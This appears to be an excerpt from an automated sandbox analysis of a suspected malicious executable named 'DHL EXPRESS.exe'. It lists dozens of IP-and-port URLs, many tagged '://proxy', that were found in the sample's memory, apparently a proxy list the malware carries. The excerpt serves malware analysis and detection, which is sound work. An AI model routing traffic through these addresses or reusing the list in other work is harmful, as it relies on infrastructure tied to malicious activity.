Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.133.74.172:15673://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.134.167.223:443
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.134.167.223:443://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.134.238.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.134.238.25:443
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.134.238.25:443://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.153.174.197:443
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.153.174.197:443://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.153.52.155:443
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.153.52.155:443://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.153.64.66:443
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.153.64.66:443://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.153.66.118
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.153.66.118://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.153.66.118:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC7D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.155.142.116:15673
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC7DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.155.142.116:15673://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.155.165.196:15673
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.155.165.196:15673://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.157.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.157.32.4:443
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.157.32.4:443://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB19F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.157.32.4:443K
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.157.47.7:443
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.157.47.7:443://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.163.192.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.163.192.3:15673
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.163.192.3:15673://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.230.196.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.230.196.98:48200
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.230.196.98:48200://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.231.22.228:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.231.22.229
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.231.22.229://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.231.22.229:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB7EC000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB7E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.248.27.11:54730
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.248.27.11:54730://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.251.119.79:45787
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.251.119.79:45787://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.255.113.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.255.113.232
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.255.113.232://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.255.113.232:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.255.113.232:8082
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.255.113.232:8082://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.255.113.232:8083
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.255.113.232:8083://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.255.113.232:85
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.255.113.232:85://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://44.226.167.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://44.226.167.102
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://44.226.167.102://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD757000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://44.226.167.102:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD793000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://44.226.167.102:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://44.226.167.102:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.10.42.20:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.10.42.20:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.11.95.16
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.11.95.165:5034
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.11.95.165:5034://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.11.95.165:5036://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA9D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.11.95.165:5038
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA9D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.11.95.165:5038://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.11.95.165:5039
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.11.95.165:5039://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.11.95.165:5040
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.11.95.165:5040://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA796000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.11.95.165:5212
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA796000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.11.95.165:5212://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.11.95.165:5214
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.11.95.165:5214://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.11.95.165:5219
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.11.95.165:5219://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.11.95.165:6012
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.11.95.165:6012://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.11.95.166:6005
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.11.95.166:6005://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB377000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB356000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.11.95.166:6008
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.11.95.166:6008://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.11.95.166:6012://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.11.95.166:6014
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.11.95.166:6014://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.112.125.55:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.112.125.55:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.113.80.3
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.113.80.37:9050
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.113.80.37:9050://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.115.115.146:31141
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.115.115.146:31141://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.117.179.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.117.179.179:27836
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.117.179.179:27836://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.117.179.179:35942
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.117.179.179:35942://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.117.179.179:6522
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.117.179.179:6522://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.12.30.231
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.12.30.231://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.12.30.231:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.12.31.140
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC3FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.12.31.140://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC3FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.12.31.140:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.12.31.3
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA9D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.12.31.3://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA9D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.12.31.3:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC59B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.120.178.197:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC53D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.120.178.197:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.124.184.13
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB14B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.124.184.13://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.124.184.13:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.125.222.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.125.222.81:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.125.222.81:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.126.169.137:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.126.169.137:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.134.80.222:3129
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.134.80.222:3129://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.138.87.238:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.138.87.238:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.139.11.200
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.139.11.200://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.139.11.200:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.14.174.148://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.147.201.125:3128://proxyx
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.150.25.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.150.25.132:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.150.25.132:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.159.150.23:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.159.150.23:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB02000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAA36000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.159.189.244:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAA97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.159.189.244:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.162.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.162.132.1:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.162.132.1:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.171.108.253:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.171.108.253:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD950000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.171.242.3:8083
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.171.242.3:8083://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.174.248.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.174.248.19:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.174.248.19:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.174.57.66:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.174.57.66:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.174.87.18:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.175.179.5:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.175.179.5:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.176.97.90:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.176.97.90:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.178.133.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.178.133.60:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.178.133.60:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.178.133.75:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.178.133.75:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB5D000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.181.123.145:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.181.123.145:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC437000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.181.123.97:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC57E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.181.123.97:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.182.176.38:9947
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.182.176.38:9947://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.184.155.3:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.184.155.3:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.185.163.111:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.185.163.111:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.186.106.159:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.186.106.159:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.189.118.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.189.118.92:999
